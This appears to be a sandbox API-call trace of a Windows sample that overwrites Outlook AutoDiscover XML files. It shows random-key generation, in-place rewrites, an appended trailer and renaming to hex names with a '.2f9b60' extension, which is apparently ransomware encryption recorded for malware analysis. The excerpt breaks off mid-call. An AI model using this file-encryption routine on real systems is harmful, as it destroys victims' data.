RtlRandomEx (in: Seed=0x2990f7b0 | out: Seed=0x2990f7b0) returned 0x34fe9c42 [0228.389] RtlRandomEx (in: Seed=0x2990f7b0 | out: Seed=0x2990f7b0) returned 0x1b488b1f [0228.389] RtlRandomEx (in: Seed=0x2990f7b0 | out: Seed=0x2990f7b0) returned 0x20eb9326 [0228.389] RtlRandomEx (in: Seed=0x2990f7b0 | out: Seed=0x2990f7b0) returned 0x708a90fc [0228.389] RtlRandomEx (in: Seed=0x2990f7b0 | out: Seed=0x2990f7b0) returned 0x3427f5db [0228.389] RtlRandomEx (in: Seed=0x2990f7b0 | out: Seed=0x2990f7b0) returned 0x71d94b6a [0228.389] RtlRandomEx (in: Seed=0x2990f7b0 | out: Seed=0x2990f7b0) returned 0x5530b656 [0228.389] RtlRandomEx (in: Seed=0x2990f7b0 | out: Seed=0x2990f7b0) returned 0x753994d7 [0228.389] RtlRandomEx (in: Seed=0x2990f7b0 | out: Seed=0x2990f7b0) returned 0x7a0d98ac [0228.389] RtlRandomEx (in: Seed=0x2990f7b0 | out: Seed=0x2990f7b0) returned 0x253cc6c3 [0228.390] RtlRandomEx (in: Seed=0x2990f7b0 | out: Seed=0x2990f7b0) returned 0x42a4d1c3 [0228.390] RtlRandomEx (in: Seed=0x2990f7b0 | out: Seed=0x2990f7b0) returned 0x4f84afce [0228.390] RtlRandomEx (in: Seed=0x2990f7b0 | out: Seed=0x2990f7b0) returned 0x6a93793e [0228.390] RtlRandomEx (in: Seed=0x2990f7b0 | out: Seed=0x2990f7b0) returned 0x26f566a4 [0228.390] RtlRandomEx (in: Seed=0x2990f7b0 | out: Seed=0x2990f7b0) returned 0x40b80bd8 [0228.390] RtlRandomEx (in: Seed=0x2990f7b0 | out: Seed=0x2990f7b0) returned 0x24403e76 [0228.390] RtlRandomEx (in: Seed=0x2990f7b0 | out: Seed=0x2990f7b0) returned 0x2b48b724 [0228.390] RtlRandomEx (in: Seed=0x2990f7b0 | out: Seed=0x2990f7b0) returned 0x32fc089b [0228.390] RtlRandomEx (in: Seed=0x2990f7b0 | out: Seed=0x2990f7b0) returned 0x62a57781 [0228.390] RtlRandomEx (in: Seed=0x2990f7b0 | out: Seed=0x2990f7b0) returned 0x6a4764d6 [0228.390] RtlRandomEx (in: Seed=0x2990f7b0 | out: Seed=0x2990f7b0) returned 0x65b2bb9a [0228.390] RtlRandomEx (in: Seed=0x2990f7b0 | out: Seed=0x2990f7b0) returned 0x46190318 [0228.390] RtlRandomEx (in: Seed=0x2990f7b0 | out: Seed=0x2990f7b0) returned 0x48258b97 [0228.390] RtlRandomEx (in: Seed=0x2990f7b0 | out: Seed=0x2990f7b0) returned 0x37a7ef0d [0228.390] RtlRandomEx (in: Seed=0x2990f7b0 | out: Seed=0x2990f7b0) returned 0x4b2a8727 [0228.390] RtlRandomEx (in: Seed=0x2990f7b0 | out: Seed=0x2990f7b0) returned 0x58b79ed7 [0228.398] ReadFile (in: hFile=0xadc, lpBuffer=0x420989a0, nNumberOfBytesToRead=0x32c, lpNumberOfBytesRead=0x2990f7b0, lpOverlapped=0x0 | out: lpBuffer=0x420989a0*, lpNumberOfBytesRead=0x2990f7b0*=0x32c, lpOverlapped=0x0) returned 1 [0228.398] SetFilePointerEx (in: hFile=0xadc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.398] WriteFile (in: hFile=0xadc, lpBuffer=0x4207a920*, nNumberOfBytesToWrite=0x32c, lpNumberOfBytesWritten=0x2990f7b4, lpOverlapped=0x0 | out: lpBuffer=0x4207a920*, lpNumberOfBytesWritten=0x2990f7b4*=0x32c, lpOverlapped=0x0) returned 1 [0233.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ef20 [0233.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e950 [0233.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e950) returned 1 [0233.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4207a920) returned 1 [0233.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420989a0) returned 1 [0233.396] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c740) returned 1 [0233.396] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616f0) returned 1 [0233.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cd9ea70 [0233.397] SetFilePointerEx (in: hFile=0xadc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.397] WriteFile (in: hFile=0xadc, lpBuffer=0x42c15170*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2990f8d0, lpOverlapped=0x0 | out: lpBuffer=0x42c15170*, lpNumberOfBytesWritten=0x2990f8d0*=0x110, lpOverlapped=0x0) returned 1 [0235.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97b70 [0235.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0235.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860ab0 [0235.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860ab0) returned 1 [0235.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1b860ab0 [0235.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860360 [0235.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860840 [0235.816] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860840) returned 1 [0235.817] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0235.817] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b70) returned 1 [0235.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3d) returned 0x1cd97b70 [0235.818] sprintf (in: _Dest=0x1cd97b70, _Format="%c%c" | out: _Dest="fd") returned 2 [0235.818] sprintf (in: _Dest=0x1cd97b72, _Format="%c%c" | out: _Dest="fc") returned 2 [0235.818] sprintf (in: _Dest=0x1cd97b74, _Format="%c%c" | out: _Dest="57") returned 2 [0235.818] sprintf (in: _Dest=0x1cd97b76, _Format="%c%c" | out: _Dest="f2") returned 2 [0235.818] sprintf (in: _Dest=0x1cd97b78, _Format="%c%c" | out: _Dest="4d") returned 2 [0235.818] sprintf (in: _Dest=0x1cd97b7a, _Format="%c%c" | out: _Dest="d5") returned 2 [0235.818] sprintf (in: _Dest=0x1cd97b7c, _Format="%c%c" | out: _Dest="d4") returned 2 [0235.818] sprintf (in: _Dest=0x1cd97b7e, _Format="%c%c" | out: _Dest="e9") returned 2 [0235.818] sprintf (in: _Dest=0x1cd97b80, _Format="%c%c" | out: _Dest="8c") returned 2 [0235.818] sprintf (in: _Dest=0x1cd97b82, _Format="%c%c" | out: _Dest="86") returned 2 [0235.818] sprintf (in: _Dest=0x1cd97b84, _Format="%c%c" | out: _Dest="40") returned 2 [0235.818] sprintf (in: _Dest=0x1cd97b86, _Format="%c%c" | out: _Dest="37") returned 2 [0235.818] sprintf (in: _Dest=0x1cd97b88, _Format="%c%c" | out: _Dest="60") returned 2 [0235.818] sprintf (in: _Dest=0x1cd97b8a, _Format="%c%c" | out: _Dest="14") returned 2 [0235.818] sprintf (in: _Dest=0x1cd97b8c, _Format="%c%c" | out: _Dest="1b") returned 2 [0235.818] sprintf (in: _Dest=0x1cd97b8e, _Format="%c%c" | out: _Dest="f5") returned 2 [0235.818] sprintf (in: _Dest=0x1cd97b90, _Format="%c%c" | out: _Dest="f3") returned 2 [0235.818] sprintf (in: _Dest=0x1cd97b92, _Format="%c%c" | out: _Dest="ca") returned 2 [0235.818] sprintf (in: _Dest=0x1cd97b94, _Format="%c%c" | out: _Dest="5b") returned 2 [0235.818] sprintf (in: _Dest=0x1cd97b96, _Format="%c%c" | out: _Dest="71") returned 2 [0235.818] sprintf (in: _Dest=0x1cd97b98, _Format="%c%c" | out: _Dest="28") returned 2 [0235.818] sprintf (in: _Dest=0x1cd97b9a, _Format="%c%c" | out: _Dest="29") returned 2 [0235.818] sprintf (in: _Dest=0x1cd97b9c, _Format="%c%c" | out: _Dest="fb") returned 2 [0235.818] sprintf (in: _Dest=0x1cd97b9e, _Format="%c%c" | out: _Dest="0c") returned 2 [0235.819] sprintf (in: _Dest=0x1cd97ba0, _Format="%c%c" | out: _Dest="aa") returned 2 [0235.819] sprintf (in: _Dest=0x1cd97ba2, _Format="%c%c" | out: _Dest="b8") returned 2 [0235.819] sprintf (in: _Dest=0x1cd97ba4, _Format="%c%c" | out: _Dest="fc") returned 2 [0235.819] sprintf (in: _Dest=0x1cd97ba6, _Format="%c%c" | out: _Dest="3c") returned 2 [0235.819] sprintf (in: _Dest=0x1cd97ba8, _Format="%c%c" | out: _Dest="19") returned 2 [0235.819] sprintf (in: _Dest=0x1cd97baa, _Format="%c%c" | out: _Dest="c7") returned 2 [0235.819] RtlInitAnsiString (in: DestinationString=0x2990f948, SourceString="fdfc57f24dd5d4e98c86403760141bf5f3ca5b712829fb0caab8fc3c19c7" | out: DestinationString="fdfc57f24dd5d4e98c86403760141bf5f3ca5b712829fb0caab8fc3c19c7") [0235.819] RtlAnsiStringToUnicodeString (in: DestinationString=0x2990f918, SourceString="fdfc57f24dd5d4e98c86403760141bf5f3ca5b712829fb0caab8fc3c19c7", AllocateDestinationString=1 | out: DestinationString="fdfc57f24dd5d4e98c86403760141bf5f3ca5b712829fb0caab8fc3c19c7") returned 0x0 [0235.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x43154f90 [0235.820] wcscat (in: _Dest=0x4314a720, _Source="fdfc57f24dd5d4e" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\fdfc57f24dd5d4e") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\fdfc57f24dd5d4e" [0235.820] wcscat (in: _Dest=0x4314a720, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\fdfc57f24dd5d4e.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\fdfc57f24dd5d4e.2f9b60" [0235.820] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\fdfc57f24dd5d4e.2f9b60", NtPathName=0x2990f8f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\fdfc57f24dd5d4e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x430d6aa0 Thread: id = 3811 os_tid = 0x1f44 [0227.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\PRODIGY.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\prodigy.net.xml")) returned 0x20 [0229.155] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\PRODIGY.NET.XML", dwFileAttributes=0x20) returned 1 [0229.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\PRODIGY.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\prodigy.net.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2558 [0229.231] GetFileSizeEx (in: hFile=0x2558, lpFileSize=0x2b48fdc0 | out: lpFileSize=0x2b48fdc0*=812) returned 1 [0229.231] SetFilePointerEx (in: hFile=0x2558, liDistanceToMove=0x328, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.231] ReadFile (in: hFile=0x2558, lpBuffer=0x2b48fd40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b48fd88, lpOverlapped=0x0 | out: lpBuffer=0x2b48fd40*, lpNumberOfBytesRead=0x2b48fd88*=0x4, lpOverlapped=0x0) returned 1 [0229.317] SetFilePointerEx (in: hFile=0x2558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.317] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1d00 [0229.317] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb4070 [0229.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb4820 [0229.318] NtQuerySystemTime (in: CurrentTime=0x2b48fc80 | out: CurrentTime=0x2b48fc80*=132462178333054000) returned 0x0 [0229.318] RtlRandomEx (in: Seed=0x2b48fc70 | out: Seed=0x2b48fc70) returned 0x7de62a57 [0229.318] RtlRandomEx (in: Seed=0x2b48fc70 | out: Seed=0x2b48fc70) returned 0x5774430b [0229.318] RtlRandomEx (in: Seed=0x2b48fc70 | out: Seed=0x2b48fc70) returned 0x438f673f [0229.318] RtlRandomEx (in: Seed=0x2b48fc70 | out: Seed=0x2b48fc70) returned 0x44d4fc86 [0229.318] RtlRandomEx (in: Seed=0x2b48fc70 | out: Seed=0x2b48fc70) returned 0x20a32033 [0229.318] RtlRandomEx (in: Seed=0x2b48fc70 | out: Seed=0x2b48fc70) returned 0x12fcd8d8 [0229.318] RtlRandomEx (in: Seed=0x2b48fc70 | out: Seed=0x2b48fc70) returned 0x4a4c2c82 [0229.318] RtlRandomEx (in: Seed=0x2b48fc70 | out: Seed=0x2b48fc70) returned 0x231cc940 [0229.318] RtlRandomEx (in: Seed=0x2b48fc70 | out: Seed=0x2b48fc70) returned 0x5b251a72 [0229.318] RtlRandomEx (in: Seed=0x2b48fc70 | out: Seed=0x2b48fc70) returned 0x4b712cca [0229.318] RtlRandomEx (in: Seed=0x2b48fc70 | out: Seed=0x2b48fc70) returned 0x483435ca [0229.318] RtlRandomEx (in: Seed=0x2b48fc70 | out: Seed=0x2b48fc70) returned 0x7b3cb462 [0229.318] RtlRandomEx (in: Seed=0x2b48fc70 | out: Seed=0x2b48fc70) returned 0x7662d9cd [0229.318] RtlRandomEx (in: Seed=0x2b48fc70 | out: Seed=0x2b48fc70) returned 0x25bf7359 [0229.318] RtlRandomEx (in: Seed=0x2b48fc70 | out: Seed=0x2b48fc70) returned 0x59d348f1 [0229.318] RtlRandomEx (in: Seed=0x2b48fc70 | out: Seed=0x2b48fc70) returned 0x72437cc0 [0229.318] RtlRandomEx (in: Seed=0x2b48fc70 | out: Seed=0x2b48fc70) returned 0x6c485c9c [0229.318] RtlRandomEx (in: Seed=0x2b48fc70 | out: Seed=0x2b48fc70) returned 0x88e9568 [0229.318] RtlRandomEx (in: Seed=0x2b48fc70 | out: Seed=0x2b48fc70) returned 0x651798cd [0229.318] RtlRandomEx (in: Seed=0x2b48fc70 | out: Seed=0x2b48fc70) returned 0x77cbeae3 [0229.319] RtlRandomEx (in: Seed=0x2b48fc70 | out: Seed=0x2b48fc70) returned 0x291c145b [0229.319] RtlRandomEx (in: Seed=0x2b48fc70 | out: Seed=0x2b48fc70) returned 0x6c98c70b [0229.319] RtlRandomEx (in: Seed=0x2b48fc70 | out: Seed=0x2b48fc70) returned 0x2b9e44ec [0229.319] RtlRandomEx (in: Seed=0x2b48fc70 | out: Seed=0x2b48fc70) returned 0x11a4c874 [0229.319] RtlRandomEx (in: Seed=0x2b48fc70 | out: Seed=0x2b48fc70) returned 0x1c069158 [0229.319] RtlRandomEx (in: Seed=0x2b48fc70 | out: Seed=0x2b48fc70) returned 0x56c91b1a [0229.319] RtlRandomEx (in: Seed=0x2b48fc70 | out: Seed=0x2b48fc70) returned 0xa60964f [0229.319] RtlRandomEx (in: Seed=0x2b48fc70 | out: Seed=0x2b48fc70) returned 0x6027f9c7 [0229.319] RtlRandomEx (in: Seed=0x2b48fc70 | out: Seed=0x2b48fc70) returned 0x257b3ddb [0229.319] RtlRandomEx (in: Seed=0x2b48fc70 | out: Seed=0x2b48fc70) returned 0x173bd7d7 [0229.319] RtlRandomEx (in: Seed=0x2b48fc70 | out: Seed=0x2b48fc70) returned 0x2410f911 [0229.319] RtlRandomEx (in: Seed=0x2b48fc70 | out: Seed=0x2b48fc70) returned 0x46a4de95 [0229.328] ReadFile (in: hFile=0x2558, lpBuffer=0x42dd5d20, nNumberOfBytesToRead=0x32c, lpNumberOfBytesRead=0x2b48fc70, lpOverlapped=0x0 | out: lpBuffer=0x42dd5d20*, lpNumberOfBytesRead=0x2b48fc70*=0x32c, lpOverlapped=0x0) returned 1 [0229.328] SetFilePointerEx (in: hFile=0x2558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.328] WriteFile (in: hFile=0x2558, lpBuffer=0x42dd2110*, nNumberOfBytesToWrite=0x32c, lpNumberOfBytesWritten=0x2b48fc74, lpOverlapped=0x0 | out: lpBuffer=0x42dd2110*, lpNumberOfBytesWritten=0x2b48fc74*=0x32c, lpOverlapped=0x0) returned 1 [0233.304] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202612e0 [0233.304] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261c40 [0233.305] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261c40) returned 1 [0233.305] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42dd2110) returned 1 [0233.305] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42dd5d20) returned 1 [0233.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869b40) returned 1 [0233.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61150) returned 1 [0233.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cd9f470 [0233.307] SetFilePointerEx (in: hFile=0x2558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.307] WriteFile (in: hFile=0x2558, lpBuffer=0x42c14750*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2b48fd90, lpOverlapped=0x0 | out: lpBuffer=0x42c14750*, lpNumberOfBytesWritten=0x2b48fd90*=0x110, lpOverlapped=0x0) returned 1 [0235.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61560 [0235.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505090 [0235.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb4850 [0235.461] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb4850) returned 1 [0235.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1cdb4850 [0235.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb47f0 [0235.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3fb0 [0235.462] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb3fb0) returned 1 [0235.463] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505090) returned 1 [0235.463] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61560) returned 1 [0235.463] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3d) returned 0x1ce61560 [0235.463] sprintf (in: _Dest=0x1ce61560, _Format="%c%c" | out: _Dest="f7") returned 2 [0235.463] sprintf (in: _Dest=0x1ce61562, _Format="%c%c" | out: _Dest="c8") returned 2 [0235.463] sprintf (in: _Dest=0x1ce61564, _Format="%c%c" | out: _Dest="b9") returned 2 [0235.463] sprintf (in: _Dest=0x1ce61566, _Format="%c%c" | out: _Dest="a0") returned 2 [0235.463] sprintf (in: _Dest=0x1ce61568, _Format="%c%c" | out: _Dest="8b") returned 2 [0235.463] sprintf (in: _Dest=0x1ce6156a, _Format="%c%c" | out: _Dest="1d") returned 2 [0235.463] sprintf (in: _Dest=0x1ce6156c, _Format="%c%c" | out: _Dest="07") returned 2 [0235.464] sprintf (in: _Dest=0x1ce6156e, _Format="%c%c" | out: _Dest="08") returned 2 [0235.464] sprintf (in: _Dest=0x1ce61570, _Format="%c%c" | out: _Dest="cf") returned 2 [0235.464] sprintf (in: _Dest=0x1ce61572, _Format="%c%c" | out: _Dest="60") returned 2 [0235.464] sprintf (in: _Dest=0x1ce61574, _Format="%c%c" | out: _Dest="fd") returned 2 [0235.464] sprintf (in: _Dest=0x1ce61576, _Format="%c%c" | out: _Dest="bb") returned 2 [0235.464] sprintf (in: _Dest=0x1ce61578, _Format="%c%c" | out: _Dest="c9") returned 2 [0235.464] sprintf (in: _Dest=0x1ce6157a, _Format="%c%c" | out: _Dest="d7") returned 2 [0235.464] sprintf (in: _Dest=0x1ce6157c, _Format="%c%c" | out: _Dest="93") returned 2 [0235.464] sprintf (in: _Dest=0x1ce6157e, _Format="%c%c" | out: _Dest="b9") returned 2 [0235.464] sprintf (in: _Dest=0x1ce61580, _Format="%c%c" | out: _Dest="0d") returned 2 [0235.464] sprintf (in: _Dest=0x1ce61582, _Format="%c%c" | out: _Dest="cc") returned 2 [0235.464] sprintf (in: _Dest=0x1ce61584, _Format="%c%c" | out: _Dest="1e") returned 2 [0235.464] sprintf (in: _Dest=0x1ce61586, _Format="%c%c" | out: _Dest="5f") returned 2 [0235.464] sprintf (in: _Dest=0x1ce61588, _Format="%c%c" | out: _Dest="26") returned 2 [0235.464] sprintf (in: _Dest=0x1ce6158a, _Format="%c%c" | out: _Dest="3a") returned 2 [0235.464] sprintf (in: _Dest=0x1ce6158c, _Format="%c%c" | out: _Dest="45") returned 2 [0235.464] sprintf (in: _Dest=0x1ce6158e, _Format="%c%c" | out: _Dest="c7") returned 2 [0235.464] sprintf (in: _Dest=0x1ce61590, _Format="%c%c" | out: _Dest="03") returned 2 [0235.464] sprintf (in: _Dest=0x1ce61592, _Format="%c%c" | out: _Dest="1a") returned 2 [0235.464] sprintf (in: _Dest=0x1ce61594, _Format="%c%c" | out: _Dest="dd") returned 2 [0235.464] sprintf (in: _Dest=0x1ce61596, _Format="%c%c" | out: _Dest="c0") returned 2 [0235.464] sprintf (in: _Dest=0x1ce61598, _Format="%c%c" | out: _Dest="f6") returned 2 [0235.464] sprintf (in: _Dest=0x1ce6159a, _Format="%c%c" | out: _Dest="42") returned 2 [0235.464] RtlInitAnsiString (in: DestinationString=0x2b48fe08, SourceString="f7c8b9a08b1d0708cf60fdbbc9d793b90dcc1e5f263a45c7031addc0f642" | out: DestinationString="f7c8b9a08b1d0708cf60fdbbc9d793b90dcc1e5f263a45c7031addc0f642") [0235.464] RtlAnsiStringToUnicodeString (in: DestinationString=0x2b48fdd8, SourceString="f7c8b9a08b1d0708cf60fdbbc9d793b90dcc1e5f263a45c7031addc0f642", AllocateDestinationString=1 | out: DestinationString="f7c8b9a08b1d0708cf60fdbbc9d793b90dcc1e5f263a45c7031addc0f642") returned 0x0 [0235.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x43108460 [0235.465] wcscat (in: _Dest=0x4312be60, _Source="f7c8b9a08b1d070" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\f7c8b9a08b1d070") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\f7c8b9a08b1d070" [0235.465] wcscat (in: _Dest=0x4312be60, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\f7c8b9a08b1d070.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\f7c8b9a08b1d070.2f9b60" [0235.465] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\f7c8b9a08b1d070.2f9b60", NtPathName=0x2b48fdb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\f7c8b9a08b1d070.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x43116160 [0242.510] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43116160) returned 1 [0242.510] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4307f620) returned 1 [0242.510] NtQueryInformationFile (in: FileHandle=0x2558, IoStatusBlock=0x2b48fe18, FileInformation=0x2b48fe28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2b48fe18, FileInformation=0x2b48fe28) returned 0x0 [0242.510] NtSetInformationFile (FileHandle=0x2558, IoStatusBlock=0x2b48fe18, FileInformation=0x2b48fe28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0243.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4312be60) returned 1 [0243.558] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43108460) returned 1 [0243.558] FlushFileBuffers (hFile=0x2558) Thread: id = 3812 os_tid = 0x1f3c [0227.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\ROGERS.COM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\rogers.com.xml")) returned 0x20 [0229.158] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\ROGERS.COM.XML", dwFileAttributes=0x20) returned 1 [0229.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\ROGERS.COM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\rogers.com.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x8c0 [0229.236] GetFileSizeEx (in: hFile=0x8c0, lpFileSize=0x2b5dfba0 | out: lpFileSize=0x2b5dfba0*=818) returned 1 [0229.236] SetFilePointerEx (in: hFile=0x8c0, liDistanceToMove=0x32e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.236] ReadFile (in: hFile=0x8c0, lpBuffer=0x2b5dfb20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b5dfb68, lpOverlapped=0x0 | out: lpBuffer=0x2b5dfb20*, lpNumberOfBytesRead=0x2b5dfb68*=0x4, lpOverlapped=0x0) returned 1 [0229.328] SetFilePointerEx (in: hFile=0x8c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.328] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1d00 [0229.329] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb4820 [0229.329] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb47c0 [0229.329] NtQuerySystemTime (in: CurrentTime=0x2b5dfa60 | out: CurrentTime=0x2b5dfa60*=132462178333210000) returned 0x0 [0229.329] RtlRandomEx (in: Seed=0x2b5dfa50 | out: Seed=0x2b5dfa50) returned 0x6eb9f480 [0229.330] RtlRandomEx (in: Seed=0x2b5dfa50 | out: Seed=0x2b5dfa50) returned 0x28f13b9b [0229.330] RtlRandomEx (in: Seed=0x2b5dfa50 | out: Seed=0x2b5dfa50) returned 0x78d4513b [0229.330] RtlRandomEx (in: Seed=0x2b5dfa50 | out: Seed=0x2b5dfa50) returned 0x1836f7cc [0229.330] RtlRandomEx (in: Seed=0x2b5dfa50 | out: Seed=0x2b5dfa50) returned 0x68a9b942 [0229.330] RtlRandomEx (in: Seed=0x2b5dfa50 | out: Seed=0x2b5dfa50) returned 0x3d3ab9a5 [0229.330] RtlRandomEx (in: Seed=0x2b5dfa50 | out: Seed=0x2b5dfa50) returned 0x62e97cbc [0229.330] RtlRandomEx (in: Seed=0x2b5dfa50 | out: Seed=0x2b5dfa50) returned 0x2591a269 [0229.330] RtlRandomEx (in: Seed=0x2b5dfa50 | out: Seed=0x2b5dfa50) returned 0x394343 [0229.330] RtlRandomEx (in: Seed=0x2b5dfa50 | out: Seed=0x2b5dfa50) returned 0x176423b3 [0229.330] RtlRandomEx (in: 